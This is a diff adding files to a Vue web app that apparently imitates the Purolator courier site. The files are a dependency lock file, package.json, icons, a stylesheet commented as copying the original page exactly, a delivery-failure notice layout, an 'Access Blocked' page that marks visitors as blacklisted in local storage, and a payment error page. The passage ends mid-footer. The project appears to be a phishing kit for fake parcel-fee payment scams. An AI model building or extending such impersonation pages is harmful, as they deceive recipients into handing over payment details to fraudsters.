"node_modules/@esbuild/linux-riscv64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.18.20.tgz",
"integrity": "sha512-WSxo6h5ecI5XH34KC7w5veNnKkju3zBRLEQNY7mv5mtBmrP/MjNBCAlsM2u5hDBlS3NGcTQpoBvRzqBcRtpq1A==",
"cpu": [
"riscv64"
],
"dev": true,
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/linux-s390x": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.18.20.tgz",
"integrity": "sha512-+8231GMs3mAEth6Ja1iK0a1sQ3ohfcpzpRLH8uuc5/KVDFneH6jtAJLFGafpzpMRO6DzJ6AvXKze9LfFMrIHVQ==",
"cpu": [
"s390x"
],
"dev": true,
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/linux-x64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.18.20.tgz",
"integrity": "sha512-UYqiqemphJcNsFEskc73jQ7B9jgwjWrSayxawS6UVFZGWrAAtkzjxSqnoclCXxWtfwLdzU+vTpcNYhpn43uP1w==",
"cpu": [
"x64"
],
"dev": true,
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/netbsd-x64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.18.20.tgz",
"integrity": "sha512-iO1c++VP6xUBUmltHZoMtCUdPlnPGdBom6IrO4gyKPFFVBKioIImVooR5I83nTew5UOYrk3gIJhbZh8X44y06A==",
"cpu": [
"x64"
],
"dev": true,
"optional": true,
"os": [
"netbsd"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/openbsd-x64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.18.20.tgz",
"integrity": "sha512-e5e4YSsuQfX4cxcygw/UCPIEP6wbIL+se3sxPdCiMbFLBWu0eiZOJ7WoD+ptCLrmjZBK1Wk7I6D/I3NglUGOxg==",
"cpu": [
"x64"
],
"dev": true,
"optional": true,
"os": [
"openbsd"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/sunos-x64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.18.20.tgz",
"integrity": "sha512-kDbFRFp0YpTQVVrqUd5FTYmWo45zGaXe0X8E1G/LKFC0v8x0vWrhOWSLITcCn63lmZIxfOMXtCfti/RxN/0wnQ==",
"cpu": [
"x64"
],
"dev": true,
"optional": true,
"os": [
"sunos"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/win32-arm64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.18.20.tgz",
"integrity": "sha512-ddYFR6ItYgoaq4v4JmQQaAI5s7npztfV4Ag6NrhiaW0RrnOXqBkgwZLofVTlq1daVTQNhtI5oieTvkRPfZrePg==",
"cpu": [
"arm64"
],
"dev": true,
"optional": true,
"os": [
"win32"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/win32-ia32": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.18.20.tgz",
"integrity": "sha512-Wv7QBi3ID/rROT08SABTS7eV4hX26sVduqDOTe1MvGMjNd3EjOz4b7zeexIR62GTIEKrfJXKL9LFxTYgkyeu7g==",
"cpu": [
"ia32"
],
"dev": true,
"optional": true,
"os": [
"win32"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/win32-x64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.18.20.tgz",
"integrity": "sha512-kTdfRcSiDfQca/y9QIkng02avJ+NCaQvrMejlsB3RRv5sE9rRoeBPISaZpKxHELzRxZyLvNts1P27W3wV+8geQ==",
"cpu": [
"x64"
],
"dev": true,
"optional": true,
"os": [
"win32"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@jridgewell/sourcemap-codec": {
"version": "1.5.0",
"resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz",
"integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ=="
},
"node_modules/@vitejs/plugin-vue": {
"version": "4.6.2",
"resolved": "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-4.6.2.tgz",
"integrity": "sha512-kqf7SGFoG+80aZG6Pf+gsZIVvGSCKE98JbiWqcCV9cThtg91Jav0yvYFC9Zb+jKetNGF6ZKeoaxgZfND21fWKw==",
"dev": true,
"engines": {
"node": "^14.18.0 || >=16.0.0"
},
"peerDependencies": {
"vite": "^4.0.0 || ^5.0.0",
"vue": "^3.2.25"
}
},
"node_modules/@vue/compiler-core": {
"version": "3.5.17",
"resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.5.17.tgz",
"integrity": "sha512-Xe+AittLbAyV0pabcN7cP7/BenRBNcteM4aSDCtRvGw0d9OL+HG1u/XHLY/kt1q4fyMeZYXyIYrsHuPSiDPosA==",
"dependencies": {
"@babel/parser": "^7.27.5",
"@vue/shared": "3.5.17",
"entities": "^4.5.0",
"estree-walker": "^2.0.2",
"source-map-js": "^1.2.1"
}
},
"node_modules/@vue/compiler-dom": {
"version": "3.5.17",
"resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.5.17.tgz",
"integrity": "sha512-+2UgfLKoaNLhgfhV5Ihnk6wB4ljyW1/7wUIog2puUqajiC29Lp5R/IKDdkebh9jTbTogTbsgB+OY9cEWzG95JQ==",
"dependencies": {
"@vue/compiler-core": "3.5.17",
"@vue/shared": "3.5.17"
}
},
"node_modules/@vue/compiler-sfc": {
"version": "3.5.17",
"resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.5.17.tgz",
"integrity": "sha512-rQQxbRJMgTqwRugtjw0cnyQv9cP4/4BxWfTdRBkqsTfLOHWykLzbOc3C4GGzAmdMDxhzU/1Ija5bTjMVrddqww==",
"dependencies": {
"@babel/parser": "^7.27.5",
"@vue/compiler-core": "3.5.17",
"@vue/compiler-dom": "3.5.17",
"@vue/compiler-ssr": "3.5.17",
"@vue/shared": "3.5.17",
"estree-walker": "^2.0.2",
"magic-string": "^0.30.17",
"postcss": "^8.5.6",
"source-map-js": "^1.2.1"
}
},
"node_modules/@vue/compiler-ssr": {
"version": "3.5.17",
"resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.5.17.tgz",
"integrity": "sha512-hkDbA0Q20ZzGgpj5uZjb9rBzQtIHLS78mMilwrlpWk2Ep37DYntUz0PonQ6kr113vfOEdM+zTBuJDaceNIW0tQ==",
"dependencies": {
"@vue/compiler-dom": "3.5.17",
"@vue/shared": "3.5.17"
}
},
"node_modules/@vue/devtools-api": {
"version": "6.6.4",
"resolved": "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-6.6.4.tgz",
"integrity": "sha512-sGhTPMuXqZ1rVOk32RylztWkfXTRhuS7vgAKv0zjqk8gbsHkJ7xfFf+jbySxt7tWObEJwyKaHMikV/WGDiQm8g=="
},
"node_modules/@vue/reactivity": {
"version": "3.5.17",
"resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.5.17.tgz",
"integrity": "sha512-l/rmw2STIscWi7SNJp708FK4Kofs97zc/5aEPQh4bOsReD/8ICuBcEmS7KGwDj5ODQLYWVN2lNibKJL1z5b+Lw==",
"dependencies": {
"@vue/shared": "3.5.17"
}
},
"node_modules/@vue/runtime-core": {
"version": "3.5.17",
"resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.5.17.tgz",
"integrity": "sha512-QQLXa20dHg1R0ri4bjKeGFKEkJA7MMBxrKo2G+gJikmumRS7PTD4BOU9FKrDQWMKowz7frJJGqBffYMgQYS96Q==",
"dependencies": {
"@vue/reactivity": "3.5.17",
"@vue/shared": "3.5.17"
}
},
"node_modules/@vue/runtime-dom": {
"version": "3.5.17",
"resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.5.17.tgz",
"integrity": "sha512-8El0M60TcwZ1QMz4/os2MdlQECgGoVHPuLnQBU3m9h3gdNRW9xRmI8iLS4t/22OQlOE6aJvNNlBiCzPHur4H9g==",
"dependencies": {
"@vue/reactivity": "3.5.17",
"@vue/runtime-core": "3.5.17",
"@vue/shared": "3.5.17",
"csstype": "^3.1.3"
}
},
"node_modules/@vue/server-renderer": {
"version": "3.5.17",
"resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.5.17.tgz",
"integrity": "sha512-BOHhm8HalujY6lmC3DbqF6uXN/K00uWiEeF22LfEsm9Q93XeJ/plHTepGwf6tqFcF7GA5oGSSAAUock3VvzaCA==",
"dependencies": {
"@vue/compiler-ssr": "3.5.17",
"@vue/shared": "3.5.17"
},
"peerDependencies": {
"vue": "3.5.17"
}
},
"node_modules/@vue/shared": {
"version": "3.5.17",
"resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.5.17.tgz",
"integrity": "sha512-CabR+UN630VnsJO/jHWYBC1YVXyMq94KKp6iF5MQgZJs5I8cmjw6oVMO1oDbtBkENSHSSn/UadWlW/OAgdmKrg=="
},
"node_modules/csstype": {
"version": "3.1.3",
"resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.1.3.tgz",
"integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="
},
"node_modules/entities": {
"version": "4.5.0",
"resolved": "https://registry.npmmirror.com/entities/-/entities-4.5.0.tgz",
"integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==",
"engines": {
"node": ">=0.12"
},
"funding": {
"url": "https://github.com/fb55/entities?sponsor=1"
}
},
"node_modules/esbuild": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.18.20.tgz",
"integrity": "sha512-ceqxoedUrcayh7Y7ZX6NdbbDzGROiyVBgC4PriJThBKSVPWnnFHZAkfI1lJT8QFkOwH4qOS2SJkS4wvpGl8BpA==",
"dev": true,
"hasInstallScript": true,
"bin": {
"esbuild": "bin/esbuild"
},
"engines": {
"node": ">=12"
},
"optionalDependencies": {
"@esbuild/android-arm": "0.18.20",
"@esbuild/android-arm64": "0.18.20",
"@esbuild/android-x64": "0.18.20",
"@esbuild/darwin-arm64": "0.18.20",
"@esbuild/darwin-x64": "0.18.20",
"@esbuild/freebsd-arm64": "0.18.20",
"@esbuild/freebsd-x64": "0.18.20",
"@esbuild/linux-arm": "0.18.20",
"@esbuild/linux-arm64": "0.18.20",
"@esbuild/linux-ia32": "0.18.20",
"@esbuild/linux-loong64": "0.18.20",
"@esbuild/linux-mips64el": "0.18.20",
"@esbuild/linux-ppc64": "0.18.20",
"@esbuild/linux-riscv64": "0.18.20",
"@esbuild/linux-s390x": "0.18.20",
"@esbuild/linux-x64": "0.18.20",
"@esbuild/netbsd-x64": "0.18.20",
"@esbuild/openbsd-x64": "0.18.20",
"@esbuild/sunos-x64": "0.18.20",
"@esbuild/win32-arm64": "0.18.20",
"@esbuild/win32-ia32": "0.18.20",
"@esbuild/win32-x64": "0.18.20"
}
},
"node_modules/estree-walker": {
"version": "2.0.2",
"resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz",
"integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="
},
"node_modules/fsevents": {
"version": "2.3.3",
"resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz",
"integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
"dev": true,
"hasInstallScript": true,
"optional": true,
"os": [
"darwin"
],
"engines": {
"node": "^8.16.0 || ^10.6.0 || >=11.0.0"
}
},
"node_modules/magic-string": {
"version": "0.30.17",
"resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.17.tgz",
"integrity": "sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==",
"dependencies": {
"@jridgewell/sourcemap-codec": "^1.5.0"
}
},
"node_modules/nanoid": {
"version": "3.3.11",
"resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.11.tgz",
"integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/ai"
}
],
"bin": {
"nanoid": "bin/nanoid.cjs"
},
"engines": {
"node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
}
},
"node_modules/picocolors": {
"version": "1.1.1",
"resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-1.1.1.tgz",
"integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="
},
"node_modules/postcss": {
"version": "8.5.6",
"resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.5.6.tgz",
"integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==",
"funding": [
{
"type": "opencollective",
"url": "https://opencollective.com/postcss/"
},
{
"type": "tidelift",
"url": "https://tidelift.com/funding/github/npm/postcss"
},
{
"type": "github",
"url": "https://github.com/sponsors/ai"
}
],
"dependencies": {
"nanoid": "^3.3.11",
"picocolors": "^1.1.1",
"source-map-js": "^1.2.1"
},
"engines": {
"node": "^10 || ^12 || >=14"
}
},
"node_modules/rollup": {
"version": "3.29.5",
"resolved": "https://registry.npmmirror.com/rollup/-/rollup-3.29.5.tgz",
"integrity": "sha512-GVsDdsbJzzy4S/v3dqWPJ7EfvZJfCHiDqe80IyrF59LYuP+e6U1LJoUqeuqRbwAWoMNoXivMNeNAOf5E22VA1w==",
"dev": true,
"bin": {
"rollup": "dist/bin/rollup"
},
"engines": {
"node": ">=14.18.0",
"npm": ">=8.0.0"
},
"optionalDependencies": {
"fsevents": "~2.3.2"
}
},
"node_modules/source-map-js": {
"version": "1.2.1",
"resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz",
"integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
"engines": {
"node": ">=0.10.0"
}
},
"node_modules/vite": {
"version": "4.5.14",
"resolved": "https://registry.npmmirror.com/vite/-/vite-4.5.14.tgz",
"integrity": "sha512-+v57oAaoYNnO3hIu5Z/tJRZjq5aHM2zDve9YZ8HngVHbhk66RStobhb1sqPMIPEleV6cNKYK4eGrAbE9Ulbl2g==",
"dev": true,
"dependencies": {
"esbuild": "^0.18.10",
"postcss": "^8.4.27",
"rollup": "^3.27.1"
},
"bin": {
"vite": "bin/vite.js"
},
"engines": {
"node": "^14.18.0 || >=16.0.0"
},
"funding": {
"url": "https://github.com/vitejs/vite?sponsor=1"
},
"optionalDependencies": {
"fsevents": "~2.3.2"
},
"peerDependencies": {
"@types/node": ">= 14",
"less": "*",
"lightningcss": "^1.21.0",
"sass": "*",
"stylus": "*",
"sugarss": "*",
"terser": "^5.4.0"
},
"peerDependenciesMeta": {
"@types/node": {
"optional": true
},
"less": {
"optional": true
},
"lightningcss": {
"optional": true
},
"sass": {
"optional": true
},
"stylus": {
"optional": true
},
"sugarss": {
"optional": true
},
"terser": {
"optional": true
}
}
},
"node_modules/vue": {
"version": "3.5.17",
"resolved": "https://registry.npmmirror.com/vue/-/vue-3.5.17.tgz",
"integrity": "sha512-LbHV3xPN9BeljML+Xctq4lbz2lVHCR6DtbpTf5XIO6gugpXUN49j2QQPcMj086r9+AkJ0FfUT8xjulKKBkkr9g==",
"dependencies": {
"@vue/compiler-dom": "3.5.17",
"@vue/compiler-sfc": "3.5.17",
"@vue/runtime-dom": "3.5.17",
"@vue/server-renderer": "3.5.17",
"@vue/shared": "3.5.17"
},
"peerDependencies": {
"typescript": "*"
},
"peerDependenciesMeta": {
"typescript": {
"optional": true
}
}
},
"node_modules/vue-router": {
"version": "4.5.1",
"resolved": "https://registry.npmmirror.com/vue-router/-/vue-router-4.5.1.tgz",
"integrity": "sha512-ogAF3P97NPm8fJsE4by9dwSYtDwXIY1nFY9T6DyQnGHd1E2Da94w9JIolpe42LJGIl0DwOHBi8TcRPlPGwbTtw==",
"dependencies": {
"@vue/devtools-api": "^6.6.4"
},
"funding": {
"url": "https://github.com/sponsors/posva"
},
"peerDependencies": {
"vue": "^3.2.0"
}
}
}
}

19
package.json Normal file
View File

@@ -0,0 +1,19 @@
{
"name": "purolator-vue-app",
"version": "1.0.0",
"description": "Purolator Vue Application",
"main": "src/main.js",
"scripts": {
"dev": "vite",
"build": "vite build",
"preview": "vite preview"
},
"dependencies": {
"vue": "^3.3.0",
"vue-router": "^4.5.1"
},
"devDependencies": {
"@vitejs/plugin-vue": "^4.0.0",
"vite": "^4.0.0"
}
}

View File

@@ -0,0 +1,4 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512">
<rect width="576" height="512" fill="#016FD0"/>
<path d="M325.1 167.8l-12.4 29.8h24.5l-12.1-29.8zm-14.3 92.9h-16.1v-19.7l-25.4 19.7h-16.1v-49.4h16.1v19l25.4-19h16.1v49.4zm-34-42.2l-25.4 19.2v-38.5l25.4 19.3zm-34.2 42.2h-62.9v-49.4h62.9v10.2h-46.8v9.7h45.6v9.3h-45.6v10.1h46.8l-.1 10.1zm-119.5-21.5v-10.3h38v-10.2h-59.1v49.4h62.9v-10.2h-41.8v-18.7h-.1zm-115.1 10.2v-28h-16.1v49.4h55.2v-10.2h-39.1v-11.2zm-34.1-38.6l-9.8 12.9h20.7l-10.9-12.9zm-3.9 38.6h-16.1v-49.4h16.1v49.4zm-46.8-49.4l-17.3 26.3-17.4-26.3h-19.2l26.3 39.5v9.9h16.1v-9.9l26.3-39.5h-14.8zm-35.8 60.7l-2.8-6.4h-18.5l-2.8 6.4h-17.9l19.9-49.4h19.6l19.9 49.4h-17.4z" fill="white"/>
</svg>

After

Width:  |  Height:  |  Size: 716 B

View File

@@ -0,0 +1,6 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
<rect width="512" height="512" rx="100" fill="#0047b3"/>
<path d="M256 120L120 200V380H392V200L256 120Z" fill="white"/>
<path d="M256 180L180 230V340H332V230L256 180Z" fill="#0047b3"/>
<circle cx="256" cy="260" r="30" fill="white"/>
</svg>

After

Width:  |  Height:  |  Size: 311 B

View File

@@ -0,0 +1,4 @@
<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="3" y="8" width="18" height="12" rx="2" ry="2"></rect>
<path d="M12 2 L20 8 L4 8 Z"></path>
</svg>

After

Width:  |  Height:  |  Size: 293 B

File diff suppressed because one or more lines are too long

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 245 KiB

BIN
public/img/x3_0.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 734 B

35
src/App.vue Normal file
View File

@@ -0,0 +1,35 @@
<template>
<div id="app">
<router-view />
</div>
</template>
<script>
export default {
name: 'App'
}
</script>
<style>
/* 全局样式 */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
background-color: #f5f5f5;
}
#app {
min-height: 100vh;
display: flex;
flex-direction: column;
}
</style>

304
src/assets/purolator.css Normal file
View File

@@ -0,0 +1,304 @@
/* Purolator 专用样式 - 确保与原页面完全一致 */
/* 全局重置 */
* {
box-sizing: border-box;
}
html, body {
margin: 0;
padding: 0;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
background-color: #f5f5f5;
line-height: 1.6;
color: #333;
}
/* 主要布局 */
#app {
min-height: 100vh;
width: 100%;
overflow-x: hidden;
}
.path-rate-calculator {
min-height: 100vh;
background: #f5f5f5;
position: relative;
}
/* 头部固定样式 */
.header {
position: fixed;
top: 0;
left: 0;
width: 100%;
z-index: 1000;
background: #ffffff;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
/* 主内容区域 */
.main {
margin-top: 80px;
padding: 0;
width: 100%;
}
.home-header-img {
width: 100%;
max-height: 200px;
max-width: 1200px;
margin: 0 auto;
display: block;
object-fit: cover;
}
/* 内容容器 */
.stripe.bg--white {
background: #ffffff;
padding: 40px 0;
width: 100%;
}
.container {
max-width: 1200px;
margin: 0 auto;
padding: 0 15px;
width: 100%;
}
/* 配送状态区域 */
.delivery-status-section {
max-width: 800px;
margin: 0 auto;
padding: 30px 20px;
}
.delivery-title {
font-size: 22px;
color: #24549d;
margin-bottom: 20px;
font-weight: 400;
text-align: center;
}
.main_area {
max-width: 600px;
margin: 0 auto;
padding: 30px;
background: #ffffff;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
text-align: center;
}
.package-number {
font-size: 16px;
margin-bottom: 20px;
color: #333;
}
.package-id {
font-size: 15px;
font-weight: 500;
color: #001996;
}
.delivery-failure-notice {
color: #d40511;
font-size: 18px;
font-weight: 700;
margin-bottom: 20px;
}
.delivery-details {
text-align: left;
margin-bottom: 30px;
}
.main_area_con {
margin-bottom: 15px;
line-height: 1.6;
font-size: 16px;
color: #555;
}
/* 按钮样式 */
.btn.bth-next {
background-color: #001996;
font-weight: 700;
height: 42px;
border: 2px solid #001996;
color: #ffffff;
display: block;
outline: none;
box-shadow: none;
margin: 40px auto 0;
width: 100%;
max-width: 300px;
border-radius: 4.8px;
padding: 10px 20px;
cursor: pointer;
transition: all 0.3s ease;
font-size: 16px;
text-align: center;
}
.btn.bth-next:hover {
background-color: #0f2a9c;
border-color: #0f2a9c;
transform: translateY(-1px);
}
/* 页脚样式 */
.footer {
background: #f8f9fa;
margin-top: 60px;
width: 100%;
clear: both;
}
.content__footer {
padding-top: 3rem;
border-top: 1px solid #dee2e6;
}
.page__footer {
background: #001996;
color: #ffffff;
padding: 15px 0;
}
/* 响应式设计 */
@media (max-width: 768px) {
.main {
margin-top: 60px;
}
.container {
padding: 0 10px;
}
.delivery-status-section {
padding: 15px 10px;
}
.main_area {
padding: 20px 15px;
margin: 0 5px;
border-radius: 4px;
}
.btn.bth-next {
font-size: 14px;
height: 40px;
max-width: none;
margin: 30px auto 0;
}
.delivery-title {
font-size: 20px;
}
.delivery-failure-notice {
font-size: 16px;
}
.package-number {
font-size: 14px;
}
.main_area_con {
font-size: 14px;
}
}
@media (min-width: 769px) and (max-width: 1024px) {
.delivery-status-section {
padding: 25px 15px;
}
.main_area {
padding: 25px 20px;
}
}
@media (min-width: 1200px) {
.delivery-status-section {
padding: 40px 30px;
}
.main_area {
padding: 40px;
}
}
/* 工具类 */
.text-center {
text-align: center;
}
.d-flex {
display: flex;
}
.align-items-center {
align-items: center;
}
.justify-content-center {
justify-content: center;
}
.justify-content-between {
justify-content: space-between;
}
.bg-white {
background-color: #ffffff;
}
.text-white {
color: #ffffff;
}
.bg-primary {
background-color: #001996;
}
/* 确保图片响应式 */
img {
max-width: 100%;
height: auto;
}
/* 链接样式 */
a {
color: #001996;
text-decoration: none;
transition: all 0.3s ease;
}
a:hover {
color: #0f2a9c;
text-decoration: underline;
}
/* 隐藏滚动条但保持功能 */
::-webkit-scrollbar {
width: 6px;
}
::-webkit-scrollbar-track {
background: #f1f1f1;
}
::-webkit-scrollbar-thumb {
background: #888;
border-radius: 3px;
}
::-webkit-scrollbar-thumb:hover {
background: #555;
}

View File

@@ -0,0 +1,81 @@
<template>
<div class="blocked-container">
<div class="blocked-card">
<div class="blocked-icon">
<svg width="64" height="64" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M12 22C6.477 22 2 17.523 2 12C2 6.477 6.477 2 12 2C17.523 2 22 6.477 22 12C22 17.523 17.523 22 12 22ZM12 20C16.418 20 20 16.418 20 12C20 7.582 16.418 4 12 4C7.582 4 4 7.582 4 12C4 16.418 7.582 20 12 20ZM12 10.5C12.828 10.5 13.5 9.828 13.5 9C13.5 8.172 12.828 7.5 12 7.5C11.172 7.5 10.5 8.172 10.5 9C10.5 9.828 11.172 10.5 12 10.5ZM11 12V17H13V12H11Z" fill="#F44336"/>
</svg>
</div>
<h1>Access Blocked</h1>
<p class="blocked-message">
Your access to this payment service has been blocked due to suspicious activity or policy violation.
This decision is final and cannot be reversed.
</p>
<p class="blocked-details">
For any questions regarding this decision, please contact your financial institution directly.
</p>
</div>
</div>
</template>
<script setup>
import { onMounted } from 'vue'
import { useRouter } from 'vue-router'
const router = useRouter()
onMounted(() => {
// 确保已被加入黑名单,防止直接访问
if (localStorage.getItem('blacklisted') !== 'true') {
localStorage.setItem('blacklisted', 'true')
}
})
</script>
<style scoped>
.blocked-container {
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
padding: 1rem;
background-color: #f5f5f5;
}
.blocked-card {
background: white;
border-radius: 4px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
width: 100%;
max-width: 400px;
padding: 2rem;
text-align: center;
}
.blocked-icon {
margin: 0 auto 1.5rem;
width: 64px;
height: 64px;
}
h1 {
font-size: 1.5rem;
color: #333;
margin-bottom: 1rem;
}
.blocked-message {
color: #666;
line-height: 1.5;
margin-bottom: 1.5rem;
}
.blocked-details {
color: #888;
font-size: 0.875rem;
line-height: 1.5;
}
</style>

View File

@@ -0,0 +1,79 @@
<template>
<div class="error-container">
<div class="error-card">
<div class="error-icon">
<svg width="64" height="64" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M12 22C6.477 22 2 17.523 2 12C2 6.477 6.477 2 12 2C17.523 2 22 6.477 22 12C22 17.523 17.523 22 12 22ZM11 15V17H13V15H11ZM11 7V13H13V7H11Z" fill="#F44336"/>
</svg>
</div>
<h1>Something went wrong</h1>
<p class="error-message">
An issue has been detected with your current payment environment and we are unable to process your payment. Please contact technical support for assistance.
</p>
<button class="close-button" @click="closeError">Close</button>
</div>
</div>
</template>
<script setup>
import { useRouter } from 'vue-router'
const router = useRouter()
const closeError = () => {
// 关闭错误页面,返回首页
router.push('/')
}
</script>
<style scoped>
.error-container {
background-color: #f5f5f5;
}
.error-card {
background: white;
border-radius: 4px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
width: 100%;
min-height: 100vh;
padding: 2rem;
text-align: center;
}
.error-icon {
margin: 0 auto 1.5rem;
width: 64px;
height: 64px;
}
h1 {
font-size: 1.5rem;
color: #333;
margin-bottom: 1rem;
}
.error-message {
color: #666;
line-height: 1.5;
margin-bottom: 2rem;
}
.close-button {
background-color: #0047b3;
color: white;
border: none;
border-radius: 4px;
padding: 0.75rem 2rem;
font-size: 1rem;
cursor: pointer;
transition: background-color 0.3s;
}
.close-button:hover {
background-color: #003d99;
}
</style>

View File

@@ -0,0 +1,324 @@
<template>
<footer class="footer">
<div class="content__footer border-top pt-4">
<div class="container">
<!-- 返回顶部按钮 -->
<div class="text-center pb-4 d-md-none">
<button
aria-label="Back to top"
class="mod-toTop rounded-circle bg-primary text-white border-0 px-3 py-2"
@click="scrollToTop"
>
<span></span>
</button>
</div>
<!-- 客户支持 -->
<div class="text-center mb-3">
<span style="color: #666; font-size: 14px;">
Need customer support?
<a href="javascript:;" style="color: #001996; text-decoration: none; font-weight: 600;">Contact us</a>
</span>
</div>
<!-- 社交媒体 -->
<div class="text-center mb-4">
<div style="color: #666; font-size: 14px; margin-bottom: 8px;">Connect with us:</div>
<div class="social-icons">
<a href="javascript:;" class="social-link me-2">
<img
